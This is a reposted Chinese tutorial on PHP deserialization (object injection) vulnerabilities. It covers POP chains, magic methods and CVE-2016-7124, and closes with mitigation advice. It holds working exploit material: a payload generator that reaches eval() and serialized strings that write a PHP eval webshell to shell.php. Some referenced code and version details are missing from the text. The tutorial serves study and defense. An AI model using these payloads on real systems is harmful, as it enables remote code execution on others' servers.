当前位置:首页 > 短网址资讯 > 正文内容

【技术分享】PHP反序列化漏洞

www.ft12.com4年前 (2017-09-08)短网址资讯2178

前言


序列化给我们传递对象提供了一种简单的方法serialize()将一个对象转换成一个字符串unserialize()将字符串还原为一个对象。此类函数的使用本身没有危害,但是传入反序列化函数的字符串用户可控的时候就会存在漏洞——PHP对象注入


正文

POP链

序列化的关键在于能够在目标代码当中找到一条可以控制的POP链,POP链就是class A调用了class B的方法,class B还调用了其他方法,在其方法中可以控制反序列化的参数,而class A中含有魔术方法引用了不安全的函数,就是一个POP链

不同数据类型的序列化

  1. 可以用来反序列化已被序列化的PHP变量

  2. 支持多种类型的PHP变量

    • integers / floats / boolean

    • strings / array / objects

    • 等...

boolean

b:;
b:1; // True
b:0; // False

int

i:;
i:1; // 1
i:-3; // -3

object

O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

NULL

N; //NULL

string

s:5:"hello";
s:size:value;

array

a:3:{s"key1";s"value1";s"value2";} 
a:size:{key, value pairs};


POP链demo

poc.php:

<?php
class popdemo
{
private $data = "demo\n"; # 文件内容
private $filename = './demo'; # 目标文件
public function __wakeup() # 反序列化时触发
{
$this->save($this->filename);
}
public function save($filename) #写文件
{
file_put_contents($filename, $this->data);
}
}

以上为一个构造好的POP链,当用此类实例化的对象序列化之后再被反序列化,就会触发写文件操作

POC.php

<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php

运行代码后,在当前目录下生成pop_serialized.txt文件,并且文件内存放着popdemo对象的序列化字符串

pop_unserialize.php

<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));

运行pop_unserialize.php文件后,会在当前目录下生成一个demo文件,内容为demo

当我们能够控制序列化的字符串的时候,这个地方就会存在任意文件写操作的漏洞

POP demo2


序列化漏洞利用方法不一定直接出现在魔术方法中如果关键代码不在魔术方法中时,而是在一个类的普通的方法中,这时候就需要寻找相同的函数名将类的属性和敏感函数的属性联系起来

blbana.php

<?php
class blbana {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);

blbana这个类正常情况下,会在构造方法中实例化一个normal类的对象,在析构方法中会调用此对象的action方法,最终打印hello字符串,不存在敏感的操作

exp.php

<?php
class blbana {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new blbana()));
echo "\n\r";%

运行exp.php生成payload,内容为:

O%3A6%3A%22blbana%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

尝试攻击,将payload通过get请求传入到blbana.php的GET请求参数d里去

成功调用了类evil中的action方法

敏感的操作不一定要在魔术方法当中,当找到魔术方法以后,如果存在敏感操作,可以分析参数是否可控;当存在有敏感操作的普通方法时,就可以分析是否存在具有调用了同名方法的魔术方法,劫持代码的运行流程,触发漏洞代码

漏洞代码

漏洞利用条件

  1. 程序中有一个PHP的魔术方法,比如_wakeup或者_destruct,我们需要利用这个方法,来进行攻击;

  2. 程序中含有PHP反序列化的函数unserialize()

  3. unserialize()参数可控,可以控制传入函数中的序列化字符串

此时我们的代码中已经具备了以上的条件,可以进行PHP的对象注入了。

exp内容

O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"webshell";}

我们成功执行exp时,会在同一个目录下生成一个名叫shell.php的文件,并且文件内容为webshell

漏洞利用

我们先通过上传之类的方法,将这个exp.txt上传到服务器当中,通过代码我们可以看出来,最后程序会将文件中的内容通过file_get_contents()函数读取出来,在程序执行完毕的时候,由于_destruct方法触发了代码执行。

在同级目录下生成了一个shell.php,且内容为aaaa

漏洞分析

出现这个漏洞的时候我们可以利用它向目标服务器上写入shell:

O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"&lt;?php @eval($_GET['BlBana'])?&gt;";}


通过这个exp,我们在shell.php写入的便是一句话。

需要注意的是,在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,并向shell.php中写入初始内容“text”,我在不同版本的PHP中测试了这种错误。

在以上这两个版本中测试的时候,若我们序列化后的字符串不符合要求,就会抛出一个错误,并向shell.php中写入初始值。

但是在这个版本的PHP中,不会报错,但是依然是在shell.php中写入初始值。所以在利用的时候需要注意以上的内容,防止漏洞复现的失败

有的程序当中,会在__destruct()方法调用之前,调用__wakeup()对成员变量的值进行赋值,导致我们exp在进入析构方法之前就被破坏掉,PHP 5.6.24中存在CVE漏洞CVE-2016-7124当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行


现在分析一下漏洞的一些细节,这是因为我们通过GET传递了参数给session_filename这个参数中,导致之后的函数file_get_contents读取了exp.txt中的字符串,之后字符串被反序列化为了foo的对象,导致了代码执行。

被反序列后产生的对象,相当于我们利用new foo()成了一个对象:

foo Object ( [file] =&gt; 2.txt [data] =&gt; text )
foo Object ( [file] =&gt; shell.php [data] =&gt; aaaa )

使得我们传入的恶意内容覆盖了原先对象初始值

O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"aaaa";}
O:3:"foo":2:{s:4:"file";s:5:"2.txt";s:4:"data";s:4:"text";}

具体的序列化后的字符串如上所示。

我们成功的修改了变量$file$data的值,这时候我们需要的是执行魔术方法_destruct(),这个方法的执行有以下集中方法:

1. 当程序正常的执行完毕后,所有的对象被销毁了,析构函数被调用(我们这里就是这种方法

2. 当对象没有指向时,对象被销毁

$p = new foo();
$p = null;

此时析构函数执行

3. 使用unset变量销毁指向对象的变量,注意的是unset销毁的是指向对象的变量,而不是对象,只有指向同一个对象的所有变量都销毁的时候,析构函数才执行。也就是说当对象被销毁时,析构函数就会被调用。


反序列化漏洞挖掘

反序列化漏洞的挖掘主要是在代码中找到可以利用的POP组件,具体思路:

  1. 利用文本搜索工具,在目标代码中搜索,**__wakeup,__destruct**这类魔术方法

  2. 跟踪方法,看魔术方法中是否存在一些可以利用的地方,找到可以利用的POP组件

  3. 根据类的结构定义构建序列化字符串Poc


总结

漏洞修复

  1. 对于传入unserialize()函数中的字符串,进行过滤,防止对象注入

  2. 避免在魔术方法中使用敏感的操作

  3. 避免存在敏感操作的普通方法和魔术方法中调用方法同名,从而被攻击者劫持代码流程,造成危害

SugarCRM v6.5.23 --> v6.5.24 修复方法

function sugar_unserialize($value)
{
6.5.23:preg_match('/[oc]:\d+:/i', $value, $matches); # O:+14:"SugarCacheFile"绕过
6.5.24:preg_mat ch('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}

扫描二维码推送至手机访问。

版权声明:本文由短链接发布,如需转载请注明出处。

本文链接:https://www.ft12.com/article_462.html

分享给朋友:

相关文章

短网址资讯:连打赏都要分苹果三成 中国反垄断法不能视而不见

美国闻名财经媒体《华尔街日报》报导,苹果公司在APP store上提出了新的请求,“打赏”将像用户采购的游戏、音乐和视频相同,被视为运用内采购(in-app purchases),苹果将从中取得30%的分红。为了保证方针...

Java后端工程师学习大纲

之前自己总结过的Java后端工程师技能树(http://www.rowkey.me/blog/2016/06/17/java-skill-tree/),其涵盖的技术点比较全面,并非一朝一夕能够全部覆盖到的。对于一些还没有入门或者刚刚入门的J...

阿里巴巴马云:快递公司注定将成为技术公司,保证所有小企业通货权

阿里巴巴马云:快递公司注定将成为技术公司,保证所有小企业通货权

[ 短网址资讯导读 ] 5月22日,杭州云栖小镇,在2017全球才智物流峰会上,阿里巴巴董事局主席马云说,物流公司应当出资人才、技能,而且要联合作战,方能应对天天10亿包裹的业务体量。“我通知我们,一天十亿只包裹,不会超过八年,估...

汽车电商周报:解散风波与银行入股消息齐飞

【短网址资讯网】本周汽车电商与出行领域有10件大事值得关注。从汽车电商数据和平台的相关动作来看,汽车电商有惊无险,解散风波安全度过,业务创新还在继续。另外一个亮点是,本周互联网出行领域内关于摩拜被曝贪腐一事逐渐尘埃落定,网约车平台也拿到资质...

林肯公园主唱自杀:这个世上有人正承受着你所不能理解的痛苦

林肯公园主唱自杀:这个世上有人正承受着你所不能理解的痛苦

昨天刷微博的时候看见一条新闻,林肯公园主唱切斯特上吊自杀,那时候我心里只是微微一惊,毕竟这是一个麻木的时代,死亡换来人们一次短暂的叹息,然后大家又陷入彼此庸碌的一生,虽然我们不知道灾难和明天哪一个会先来,但我们终究学会的只是在麻木里等待明天...

专治各种想不开(强烈建议一定要收藏)

专治各种想不开(强烈建议一定要收藏)

失去的东西,有必要去追讨吗?佛曰:失去的东西,其实从未曾真正地属于你,不必惋惜,更不必追讨。生活太累,如何轻松?佛曰:生活累,一小半源于生存,一小半源于欲望与攀比。昨天与今天,我们该如何把握?佛曰:不要让太多昨天占据你的今天。如何对自己,对...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。